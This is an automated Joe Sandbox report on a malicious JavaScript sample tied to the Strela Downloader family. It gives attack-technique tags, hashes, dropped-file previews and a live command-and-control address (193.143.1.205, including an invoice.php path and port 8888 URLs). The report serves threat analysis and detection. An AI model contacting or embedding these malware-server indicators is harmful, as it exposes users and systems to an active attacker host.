Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
14137177262856222939.js	5%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3446788878.000001A256211000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2214670577.000001A2560B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/4	net.exe, 00000007.00000003.2215768553.0000016308F4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2221024382.0000016308F4A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2220954923.0000016308F18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2221024382.0000016308F3D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/L	net.exe, 00000007.00000003.2215768553.0000016308F4A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2221024382.0000016308F4A000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589916
Start date and time:	2025-01-13 10:27:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	14137177262856222939.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/37@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.233.129.217, 52.6.155.20, 3.219.243.226, 52.22.41.97, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.19.126.143, 2.19.126.149, 2.22.242.11, 2.22.242.123, 2.23.197.184, 13.107.246.45, 20.12.23.50, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:28:14	API Interceptor	24x Sleep call for process: powershell.exe modified
04:28:18	API Interceptor	1x Sleep call for process: net.exe modified
04:28:18	API Interceptor	2x Sleep call for process: svchost.exe modified
04:28:31	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528915004169812209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1178918864369817238.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307005400433959
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug9:gJjJGtpTq2yv1AuNZRY3diu8iBVqFb
MD5:	359E2A260291CB863B8CCE9583D96A92
SHA1:	978685A26CEB43A58536AD14815E22659245DD5D
SHA-256:	76CD8DD6DB0BC5EEB408E40411B500489FCA0BEB9740FDB38E37AC72F48A07E5
SHA-512:	7582D60DCE7A4CB00B3A2AFD78616B10DD72B589E34AC7978D0D756DF4D32AACD57471C4FE4C2B4B2DCDCAAAC0480320894D10FA61E462FFBB36F17A076F0C63
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7c94e1bf, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585729575189814
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D975CCDB707CB9865793422B8CABD9DA
SHA1:	F2E1FEB6EA148035C02AB95C5C4E88B35759C08B
SHA-256:	0EFE369705212326BEE323E865440BC5DF1CA76ADE0CE4B189B407AD5B7EE13F
SHA-512:	5B455F79CCF1516CB7922AB9A39BE9B8D9EB626271698F16DE786A253B56ED206F2E843B20C342F739686D9188E61CE6BD874B887BA489C58F69F01648985924
Malicious:	false
Preview:	\|..... ...............X\...;...{......................0.z..........{.......}#.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................[.M3.....}c...................W&.....}C..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08116598326342322
Encrypted:	false
SSDEEP:	3:6bmUYeBg/EkGuAJkhvekl1djgL/AllrekGltll/SPj:6bmUzBOrxleAJe3l
MD5:	84C7E9FBDF9614589866A66774A40962
SHA1:	4AE1DD331E3BF5CE5BF2642F2D1947BCF166833E
SHA-256:	502C422CC35EC96A504BD4133B3C40EF4E88BD95DCFA82BEA17E500E4DA0EDA2
SHA-512:	2204AA7143B7E30B158524AEA7F2514BF797A03BC237135E17662C974DB1F1768A5ED2C6AD6AD42BE699C0D9E9C0206514F9D152EA314FD7909C6D606F79908F
Malicious:	false
Preview:	.F}......................................;...{.......}C......{...............{.......{...XL......{....................W&.....}C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.165706463431196
Encrypted:	false
SSDEEP:	6:iO0d8Tm4q2P92nKuAl9OmbnIFUtOd8TJxJZmwgd8TYF3DkwO92nKuAl9OmbjLJ:70dGFv4HAahFUtOdG9/gdGYF5LHAaSJ
MD5:	8A72054F1B47B22EA7EBD5ADF84939CE
SHA1:	49DC3D1F8B29766D13522A2F7D6CC8133A7B0619
SHA-256:	1C8D6A74C3B699BE26A1A494A3697E529D2A252C0D7F920DB66AF1545C597174
SHA-512:	EDE1BEBC1DC2BBB20537E0850B056A3C90F150FE978EB814D2F425874746B0DD0D30291625326B7C55B232CE9B7A40B07B493FFC7C50C2A643E027446DEF444E
Malicious:	false
Preview:	2025/01/13-04:28:18.812 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-04:28:18.815 1ed0 Recovering log #3.2025/01/13-04:28:18.816 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.165706463431196
Encrypted:	false
SSDEEP:	6:iO0d8Tm4q2P92nKuAl9OmbnIFUtOd8TJxJZmwgd8TYF3DkwO92nKuAl9OmbjLJ:70dGFv4HAahFUtOdG9/gdGYF5LHAaSJ
MD5:	8A72054F1B47B22EA7EBD5ADF84939CE
SHA1:	49DC3D1F8B29766D13522A2F7D6CC8133A7B0619
SHA-256:	1C8D6A74C3B699BE26A1A494A3697E529D2A252C0D7F920DB66AF1545C597174
SHA-512:	EDE1BEBC1DC2BBB20537E0850B056A3C90F150FE978EB814D2F425874746B0DD0D30291625326B7C55B232CE9B7A40B07B493FFC7C50C2A643E027446DEF444E
Malicious:	false
Preview:	2025/01/13-04:28:18.812 1ed0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-04:28:18.815 1ed0 Recovering log #3.2025/01/13-04:28:18.816 1ed0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.162055796420737
Encrypted:	false
SSDEEP:	6:iO0d86p3+q2P92nKuAl9Ombzo2jMGIFUtOd86eZmwgd863VVkwO92nKuAl9Ombzz:70dZEv4HAa8uFUtOdZe/gdZr5LHAa8RJ
MD5:	B22EC51CD6F00385771873E4F83E5FAA
SHA1:	CBE42EE2F4FFED4DFD2EFFCF8095D9D75BC98760
SHA-256:	26450D4DF25016B63B169B33BB82F38410381575909A8B1F7506928259B91DEC
SHA-512:	5611161021C4E957C8D64795C3DE315F070362D9C63DEFAF4202607D310971F8EDC46173E81A9FC8118094924B4F54CBDE9E73506A74BED70731B2EC86EEF4A4
Malicious:	false
Preview:	2025/01/13-04:28:19.018 1ff8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-04:28:19.020 1ff8 Recovering log #3.2025/01/13-04:28:19.021 1ff8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.162055796420737
Encrypted:	false
SSDEEP:	6:iO0d86p3+q2P92nKuAl9Ombzo2jMGIFUtOd86eZmwgd863VVkwO92nKuAl9Ombzz:70dZEv4HAa8uFUtOdZe/gdZr5LHAa8RJ
MD5:	B22EC51CD6F00385771873E4F83E5FAA
SHA1:	CBE42EE2F4FFED4DFD2EFFCF8095D9D75BC98760
SHA-256:	26450D4DF25016B63B169B33BB82F38410381575909A8B1F7506928259B91DEC
SHA-512:	5611161021C4E957C8D64795C3DE315F070362D9C63DEFAF4202607D310971F8EDC46173E81A9FC8118094924B4F54CBDE9E73506A74BED70731B2EC86EEF4A4
Malicious:	false
Preview:	2025/01/13-04:28:19.018 1ff8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-04:28:19.020 1ff8 Recovering log #3.2025/01/13-04:28:19.021 1ff8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.046375817006355
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqV/sBdOg2HCAcaq3QYiubxnP7E4T3OF+:Y2sRdsIAdMHCr3QYhbxP7nbI+
MD5:	7283976FCE8A2ADCBDD912CFAC99DC6C
SHA1:	3EB62C818F0AD738BD3A761117072E61BF675198
SHA-256:	BAFF6223E481C6F6DB3927F74790A859F7FF616286F7BAAE18CEC1A7FBF3157F
SHA-512:	3CB9C0417505E98834512DA8E4E5D33A109899997413E55AA8077BAE6DC08A06FF326B46AC9F980E63CEB6547C568712240E5EDE11FD207681AFD9AC18ECAF55
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381320511248753","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130441},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b96a485f-82bd-4584-bde9-9a924e952d7d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.046375817006355
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqV/sBdOg2HCAcaq3QYiubxnP7E4T3OF+:Y2sRdsIAdMHCr3QYhbxP7nbI+
MD5:	7283976FCE8A2ADCBDD912CFAC99DC6C
SHA1:	3EB62C818F0AD738BD3A761117072E61BF675198
SHA-256:	BAFF6223E481C6F6DB3927F74790A859F7FF616286F7BAAE18CEC1A7FBF3157F
SHA-512:	3CB9C0417505E98834512DA8E4E5D33A109899997413E55AA8077BAE6DC08A06FF326B46AC9F980E63CEB6547C568712240E5EDE11FD207681AFD9AC18ECAF55
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381320511248753","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130441},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234624132667686
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUGJlQN/:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLA
MD5:	18686AB47B92D83F296F8522396127BB
SHA1:	308F81118F8E39FDE4C0C10A5C0E2FE389DB6057
SHA-256:	8548734F0836F16E7D24B709500A41A57A7A03BFFB931C6798E3033C1B7DD8D5
SHA-512:	47999F4999FFD7C7343DAD3F72ABC8B93D39358263A36A849EF70376428D7E0C92254F6EA5B4E40DBB903A4DE2625BF6AB1376036B2DBA5C3CB3AB31A0E91CD4
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.203195935555026
Encrypted:	false
SSDEEP:	6:iO0d86PI+q2P92nKuAl9OmbzNMxIFUtOd86P+5Zmwgd86PA3VkwO92nKuAl9Ombg:70dZVv4HAa8jFUtOdZq/gdZk5LHAa84J
MD5:	B228528D607D25C795D586DED07FFCDB
SHA1:	9F470A75B774BBBE0F8D31C07C60EA96550AD561
SHA-256:	ACDC7184995B065EB1D968BDB091A01CD683733D1891A8E8A170FF0DAAB1341A
SHA-512:	BE14443842B0894DA61BAEEE0B801E481070430D5C2DDD6929148DB04A622E3783AA9FA22026BBA1C4C0A4A77A63425C0644C07C65B2BB988E367D471B3D78FF
Malicious:	false
Preview:	2025/01/13-04:28:19.134 1ff8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-04:28:19.136 1ff8 Recovering log #3.2025/01/13-04:28:19.138 1ff8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.203195935555026
Encrypted:	false
SSDEEP:	6:iO0d86PI+q2P92nKuAl9OmbzNMxIFUtOd86P+5Zmwgd86PA3VkwO92nKuAl9Ombg:70dZVv4HAa8jFUtOdZq/gdZk5LHAa84J
MD5:	B228528D607D25C795D586DED07FFCDB
SHA1:	9F470A75B774BBBE0F8D31C07C60EA96550AD561
SHA-256:	ACDC7184995B065EB1D968BDB091A01CD683733D1891A8E8A170FF0DAAB1341A
SHA-512:	BE14443842B0894DA61BAEEE0B801E481070430D5C2DDD6929148DB04A622E3783AA9FA22026BBA1C4C0A4A77A63425C0644C07C65B2BB988E367D471B3D78FF
Malicious:	false
Preview:	2025/01/13-04:28:19.134 1ff8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-04:28:19.136 1ff8 Recovering log #3.2025/01/13-04:28:19.138 1ff8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.746484906506307
Encrypted:	false
SSDEEP:	3:kkFklVH4bMlltfllXlE/HT8klplXNNX8RolJuRdxLlGB9lQRYwpDdt:kKH4eT8sJNMa8RdWBwRd
MD5:	F53A02D865631A99295E0200295232EB
SHA1:	D9D3814C2D8B7C6BB352C2797EBD9F402EC4355B
SHA-256:	C79FA5CEB3D8668A005AEB6FCD3B3503059AE0EEA66299F0B62BE3EBE6444367
SHA-512:	873F12B51B9D3EF749F6499665316092BF4F5E47D606EE8E445B61244746D31E09A8AD1984551A1BFB99734A7FA6326C56EF5A7DAF54A77F9BDABB223D1E69CC
Malicious:	false
Preview:	p...... ........&D...e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
